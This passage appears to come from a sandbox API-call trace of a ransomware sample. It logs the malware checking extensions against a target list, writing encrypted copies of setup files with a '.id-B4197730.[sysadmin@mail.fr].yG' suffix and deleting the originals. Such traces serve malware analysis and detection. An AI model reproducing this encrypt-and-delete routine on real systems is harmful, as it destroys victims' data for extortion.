	[0042.103] lstrlenW (lpString=".pdf") returned 4
	[0042.104] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString=".xls") returned 4
	[0042.104] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString=".xlsx") returned 5
	[0042.104] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.104] lstrlenW (lpString=".ppt") returned 4
	[0042.104] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.104] lstrlenW (lpString=".zip") returned 4
	[0042.104] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString=".rar") returned 4
	[0042.104] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString=".bz2") returned 4
	[0042.104] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.104] lstrlenW (lpString=".7z") returned 3
	[0042.104] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.104] lstrlenW (lpString=".dbf") returned 4
	[0042.104] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.104] lstrlenW (lpString=".1cd") returned 4
	[0042.104] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.104] lstrlenW (lpString=".jpg") returned 4
	[0042.104] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.104] lstrlenW (lpString=".doc") returned 4
	[0042.104] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString=".docx") returned 5
	[0042.104] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.104] lstrlenW (lpString=".pdf") returned 4
	[0042.104] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.104] lstrlenW (lpString=".xls") returned 4
	[0042.104] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.105] lstrlenW (lpString=".xlsx") returned 5
	[0042.105] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.105] lstrlenW (lpString=".ppt") returned 4
	[0042.105] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.105] lstrlenW (lpString=".zip") returned 4
	[0042.105] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.105] lstrlenW (lpString=".rar") returned 4
	[0042.105] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.105] lstrlenW (lpString=".bz2") returned 4
	[0042.105] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.105] lstrlenW (lpString=".7z") returned 3
	[0042.105] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.105] lstrlenW (lpString=".dbf") returned 4
	[0042.105] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.105] lstrlenW (lpString=".1cd") returned 4
	[0042.105] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.105] lstrlenW (lpString=".jpg") returned 4
	[0042.105] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.105] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.105] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0042.105] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1
	[0042.105] CloseHandle (hObject=0x348) returned 1
	[0042.106] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80
	[0042.106] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0042.106] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.106] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0042.119] GetLastError () returned 0x0
	[0042.119] ReadFile (in: hFile=0x348, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0042.161] WriteFile (in: hFile=0x330, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0042.162] ReadFile (in: hFile=0x348, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.162] WriteFile (in: hFile=0x330, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.162] SetEndOfFile (hFile=0x330) returned 1
	[0042.162] CloseHandle (hObject=0x330) returned 1
	[0042.163] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.163] SetEndOfFile (hFile=0x348) returned 1
	[0042.164] CloseHandle (hObject=0x348) returned 1
	[0042.164] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.164] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1
	[0042.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.164] lstrlenW (lpString=".doc") returned 4
	[0042.165] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString=".docx") returned 5
	[0042.165] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.165] lstrlenW (lpString=".pdf") returned 4
	[0042.165] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString=".xls") returned 4
	[0042.165] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString=".xlsx") returned 5
	[0042.165] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.165] lstrlenW (lpString=".ppt") returned 4
	[0042.165] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.165] lstrlenW (lpString=".zip") returned 4
	[0042.165] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString=".rar") returned 4
	[0042.165] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString=".bz2") returned 4
	[0042.165] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.165] lstrlenW (lpString=".7z") returned 3
	[0042.165] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.165] lstrlenW (lpString=".dbf") returned 4
	[0042.165] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.165] lstrlenW (lpString=".1cd") returned 4
	[0042.165] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.165] lstrlenW (lpString=".jpg") returned 4
	[0042.165] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.165] lstrlenW (lpString=".doc") returned 4
	[0042.165] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.165] lstrlenW (lpString=".docx") returned 5
	[0042.165] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.165] lstrlenW (lpString=".pdf") returned 4
	[0042.166] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.166] lstrlenW (lpString=".xls") returned 4
	[0042.166] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.166] lstrlenW (lpString=".xlsx") returned 5
	[0042.166] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.166] lstrlenW (lpString=".ppt") returned 4
	[0042.166] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.166] lstrlenW (lpString=".zip") returned 4
	[0042.166] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.166] lstrlenW (lpString=".rar") returned 4
	[0042.166] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.166] lstrlenW (lpString=".bz2") returned 4
	[0042.166] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.166] lstrlenW (lpString=".7z") returned 3
	[0042.166] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.166] lstrlenW (lpString=".dbf") returned 4
	[0042.166] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.166] lstrlenW (lpString=".1cd") returned 4
	[0042.166] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0042.166] lstrlenW (lpString=".jpg") returned 4
	[0042.166] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.166] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.166] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.166] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.357] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1
	[0042.357] CloseHandle (hObject=0x2e0) returned 1
	[0042.357] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80
	[0042.357] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.357] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.357] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.357] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.357] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.359] GetLastError () returned 0x0
	[0042.359] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0042.555] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0042.556] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.556] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.556] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.556] CloseHandle (hObject=0x2fc) returned 1
	[0042.557] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.557] SetEndOfFile (hFile=0x2e0) returned 1
	[0042.558] CloseHandle (hObject=0x2e0) returned 1
	[0042.558] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.558] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1
	[0042.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.558] lstrlenW (lpString=".doc") returned 4
	[0042.558] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.558] lstrlenW (lpString=".docx") returned 5
	[0042.558] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.558] lstrlenW (lpString=".pdf") returned 4
	[0042.558] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.558] lstrlenW (lpString=".xls") returned 4
	[0042.558] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString=".xlsx") returned 5
	[0042.559] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.559] lstrlenW (lpString=".ppt") returned 4
	[0042.559] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.559] lstrlenW (lpString=".zip") returned 4
	[0042.559] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString=".rar") returned 4
	[0042.559] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString=".bz2") returned 4
	[0042.559] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.559] lstrlenW (lpString=".7z") returned 3
	[0042.559] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.559] lstrlenW (lpString=".dbf") returned 4
	[0042.559] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.559] lstrlenW (lpString=".1cd") returned 4
	[0042.559] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.559] lstrlenW (lpString=".jpg") returned 4
	[0042.559] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.559] lstrlenW (lpString=".doc") returned 4
	[0042.559] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString=".docx") returned 5
	[0042.559] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.559] lstrlenW (lpString=".pdf") returned 4
	[0042.559] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString=".xls") returned 4
	[0042.559] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.559] lstrlenW (lpString=".xlsx") returned 5
	[0042.559] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.559] lstrlenW (lpString=".ppt") returned 4
	[0042.560] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.560] lstrlenW (lpString=".zip") returned 4
	[0042.560] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.560] lstrlenW (lpString=".rar") returned 4
	[0042.560] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.560] lstrlenW (lpString=".bz2") returned 4
	[0042.560] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.560] lstrlenW (lpString=".7z") returned 3
	[0042.560] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.560] lstrlenW (lpString=".dbf") returned 4
	[0042.560] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.560] lstrlenW (lpString=".1cd") returned 4
	[0042.560] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0042.560] lstrlenW (lpString=".jpg") returned 4
	[0042.560] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.560] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.560] lstrlenW (lpString="DisplayIcon.ico") returned 15
	[0042.560] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.560] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=88533) returned 1
	[0042.560] CloseHandle (hObject=0x2e0) returned 1
	[0042.560] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80
	[0042.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.561] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.561] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.561] GetLastError () returned 0x0
	[0042.561] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x159d5, lpOverlapped=0x0) returned 1
	[0042.648] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x159e0, lpOverlapped=0x0) returned 1
	[0042.650] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.650] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0042.650] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.650] CloseHandle (hObject=0x2fc) returned 1
	[0042.652] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.653] SetEndOfFile (hFile=0x2e0) returned 1
	[0042.654] CloseHandle (hObject=0x2e0) returned 1
	[0042.654] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.654] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1
	[0042.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.654] lstrlenW (lpString=".doc") returned 4
	[0042.654] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.654] lstrlenW (lpString=".docx") returned 5
	[0042.654] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0042.654] lstrlenW (lpString=".pdf") returned 4
	[0042.655] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString=".xls") returned 4
	[0042.655] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString=".xlsx") returned 5
	[0042.655] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0042.655] lstrlenW (lpString=".ppt") returned 4
	[0042.655] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.655] lstrlenW (lpString=".zip") returned 4
	[0042.655] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString=".rar") returned 4
	[0042.655] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString=".bz2") returned 4
	[0042.655] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.655] lstrlenW (lpString=".7z") returned 3
	[0042.655] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.655] lstrlenW (lpString=".dbf") returned 4
	[0042.655] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.655] lstrlenW (lpString=".1cd") returned 4
	[0042.655] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.655] lstrlenW (lpString=".jpg") returned 4
	[0042.655] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0042.655] lstrlenW (lpString=".doc") returned 4
	[0042.655] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.655] lstrlenW (lpString=".docx") returned 5
	[0042.655] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0042.655] lstrlenW (lpString=".pdf") returned 4
	[0042.655] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString=".xls") returned 4
	[0042.655] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.655] lstrlenW (lpString=".xlsx") returned 5
